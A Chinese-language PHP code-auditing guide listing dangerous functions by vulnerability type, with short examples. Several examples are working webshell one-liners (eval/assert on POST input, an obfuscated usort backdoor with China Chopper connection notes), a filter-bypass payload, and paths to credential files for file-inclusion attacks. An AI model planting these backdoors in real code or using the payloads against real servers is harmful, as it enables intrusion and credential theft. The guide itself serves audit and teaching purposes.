PHP代码审计——PHP中常见的敏感函数列表


前言

      PHP中常见的敏感函数列表。


一、PHP中的敏感函数——命令注入漏洞

     1)exec()

      命令执行函数,执行一个外部程序,不显示输出。

<?php
	echo exec('whoami');
?>

     2)system ()

      命令执行函数,执行一个外部程序,显示输出。

<?php
	system('whoami');
?>

     3)passthru ()

      命令执行函数,执行一个外部程序,显示原始输出。

<?php
	passthru('whoami');
?>

     4)shell_exec ()

      通过shell 环境执行命令,并且将完整的输出以字符串的方式返回。值得一提的是,这个函数跟执行操作符(反引号``)具有等同效力。

<?php
	echo shell_exec('whoami');
	echo "<br>";
	echo `whoami`;
?>

     5)popen() / proc_open()

      该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

<?php
	$cmd = $_POST['cmd'].">> 1.txt";
	//此时的$cmd=ipconfig >> 1.txt
	popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。

二、PHP中的敏感函数——代码注入漏洞

     1)eval()

      该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾。小马传大马利用 fputs 函数和 fopen 函数。

# 没有被过滤
<?php @eval($_POST['cmd']);?>

# addslashes 过滤
# ${${}} 绕过
cmd=${
    
    ${
    
    phpinfo()}}

     2)assert()

      该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为false时返回字符串表达式。如果断言是字符串那么会当做php代码执行。

<?php @assert($_GET["cmd"]);?>
cmd=phpinfo();

     3)preg_replace()

      如果正则规则中使用/e修饰符,则存在代码执行漏洞。7.0版本后/e已经移除了。

<?php	
	preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>

     4)call_user_func()

      把第一个参数作为回调函数调用,后面的参数作为回调函数的参数。

<?php
	# 传入的参数作为assert函数的参数
	call_user_func("assert",$_POST['cmd']);
?>

     5)call_user_func_array()

      与之类似,只是传入参数为数组。

#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

     6)create_function()

      创建匿名函数,此函数返回唯一的函数名称一个字符串,否则出错返回false。7.0以后被移除了。

<?php
	$a = $_GET['a'];
	$func = create_function('$a','eval($a);');
	$func($a);
?>

     7)array_map()

      将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

#命令执行http://localhost/123.php?func=system   cmd=whoami
#菜刀连接http://localhost/123.php?func=assert   密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

在这里插入图片描述

     8)array_filter()

      依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

<?php 
	//?func=system&cmd=whoami
	$cmd=$_GET['cmd'];
	$array1=array($cmd);
	$func =$_GET['func'];
	array_filter($array1,$func);
?>

     9)usort() / uasort()

      usort() 通过用户自定义的比较函数对数组进行排序。
      uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=<5.6才能用
命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
<?php
    usort($_GET,'asse'.'rt');
?>

在这里插入图片描述

三、PHP中的敏感函数——文件包含漏洞

      当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。

     1)allow_url_include() 和allow_url_fopen()

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

      在配置为on的情况下,它可以直接包含远程文件,当存在include($ var)且$ var可控的情况下,可以直接控制$ var变量来执行PHP代码。在PHP5.2.0后默认为off,配置范围是PHP_INI_ALL。

<?php
include $_GET['a'];
?>

     2)include()

      include() 如果出错的话,只会提出警告,会继续执行后续语句。

     3)include_once()

      与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

     4)require()

      reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

     5)require_once()

      与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

     6)php伪协议

  • php://input,利用条件:allow_url_include= On。对allow_url_fopen不做要求。当enctype=“multipart/form-data” 的时候 php://input 是无效的。
  • php://filter,利用条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;
  • phar://,这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。利用条件:php版本大于等于php5.3.0
  • zip://,zip伪协议和phar协议类似。利用条件:php版本大于等于php5.3.0
  • data://URI schema(例:data:text/plain,data:text/plain),利用条件:php版本大于等于php5.2。allow_url_fopen = On;allow_url_include = On;和php伪协议的input类似,碰到file_get_contents()来用;
  • file://,通过file协议可以访问本地文件系统,读取到文件的内容。

     7)常见文件包含路径

      windows:

  • C:\boot.ini // 查看系统版本
  • C:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
  • C:\windows\repair\sam // 存储Windows系统初次安装的密码
  • C:\ProgramFiles\mysql\my.ini // MySQL配置
  • C:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
  • C:\windows\php.ini // php 配置信息
          Linux/Unix系统:
  • /etc/passwd // 账户信息
  • /etc/shadow // 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
  • /usr/local/app/php5/lib/php.ini // PHP相关配置
  • /etc/httpd/conf/httpd.conf // Apache配置文件
  • /etc/my.conf // mysql 配置文件

四、PHP中的敏感函数——文件上传/写入

     1)file_put_contents():把一个字符串写入文件中(不存在会自动创建)。
     2)move_uploaded_file():移动临时上传文件。
     3)rename:重命名文件/目录
     4)rmdir:删除目录
     5)mkdir:创建目录
     6)unlink:删除文件
     7)fopen/fputs/fwrite:打开文件或者 URL

五、PHP中的敏感函数——文件读取/下载

     1)file_get_contents():把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。
     2)allow_url_fopen():该配置为ON的情况下,它可以读取远程文件,当存在fopen($ var)且$ var变量可控的情况下,可以直接控制变量来SSRF。allow_url_fopen()默认配置是on,配置范围是PHP_INI_SYSTEM。

<?php
fopen($_GET['a'],	'r');
?>

     3)任意文件下载关键词:download()配合filepath或者file

六、PHP中的敏感函数——SQL注入

     1)SQL 注入因为要操作数据库,所以一般会查找 SQL 语句关键字:insert、delete、update、select,查看传递的变量参数是否用户可控制,有无做过安全处理。

七、PHP中的敏感函数——变量覆盖

      变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完 整的攻击。
     1)$$:代表可变变量。

<?php
$var='hello';
$$var='world'; //$hello='world'
echo $var.'</br>';
echo $$var.'</br>';
echo $hello;
?>

在这里插入图片描述
     2)extract():从数组中将变量导入到当前的符号表。

<?php
$var="don9";
extract($_GET);
if($var == "sec"){
    
    
echo $var;
}
else echo $var;
?>

覆盖前:
在这里插入图片描述
覆盖后:
在这里插入图片描述
     3)parse_str():把查询字符串解析到变量中。
     4)import_request_variables():将 GET/POST/Cookie 变量导入到全局作用域中(相当于开启全局变量注册), 所以如果禁止了 register_globals,但又想用到一些全局变量,则可以使用该函数。
     5)mb_parse_str():解析 GET/POST/COOKIE 数据并设置全局变量。
     6)Register_globals=ON 时,GET 方式提交变量会直接覆盖。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

八、PHP中的敏感函数——动态函数

     1)当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。

<?php
	$myfunc = $_GET['myfunc' font>];
	$myfunc();
?>

九、PHP中的敏感函数——PHP环境设置

     1)open_basedir 设置

      open_basedir 能限制应用程序能访问的目录,检查有没有对 open_basedir 进行设置,当然有的通过 web 服务器来设置,例如:apache 的 php_admin_value,nginx+fcgi 通过 conf 来控制 php 设置。

     2)allow_url_fopen 设置

      如果 allow_url_fopen=ON,那么 php 可以读取远程文件进行操作,这个容易被攻击者利用。

     3)allow_url_include 设置

      如果 allow_url_include=ON,那么 php 可以包含远程文件,会导致严重漏洞。

     4)safe_mode_exec_dir 设置

      这个选项能控制 php 可调用的外部命令的目录,如果 PHP 程序中有调用外部命令,那么指定外部命令的目录,能控制程序的风险。

     5)magic_quotes_gpc 设置

      这个选项能转义提交给参数中的特殊字符,建议设置 magic_quote_gpc=ON。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

     6)register_globals 设置

      开启这个选项,将导致 php 对所有外部提交的变量注册为全局变量,后果相当严重。本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

     7)safe_mode 设置

      safe_mode 是 PHP 的重要安全特性,建议开启。

     8)session_use_trans_sid 设置

      如果启用 session.use_trans_sid,会导致 PHP 通过 URL 传递会话 ID,这样一来,攻击者就更容易劫持当前会话,或者欺骗用户使用已被攻击者控制的现有会话。

     9)display_errors 设置

      如果启用此选项,PHP 将输出所有的错误或警告信息,攻击者能利用这些信息获取 web 根路径等敏感信息。

     10)disable_functions设置

      本指令可以使你出于安全的理由禁用某些类。用逗号)分隔类名。disble dass不受安全模式的影响。本指令只能设置在php.ini中。例如不能将其设责置ttpd.conf。当你想用本指令禁止一些危险函数时, 切记要把dI()函数也加到禁止列表,因为攻击者可以利用dI()函数来加载自定义的PHP扩展以突破disable_ functions指令的限制。

猜你喜欢

转载自blog.csdn.net/qq_44029310/article/details/127078308
今日推荐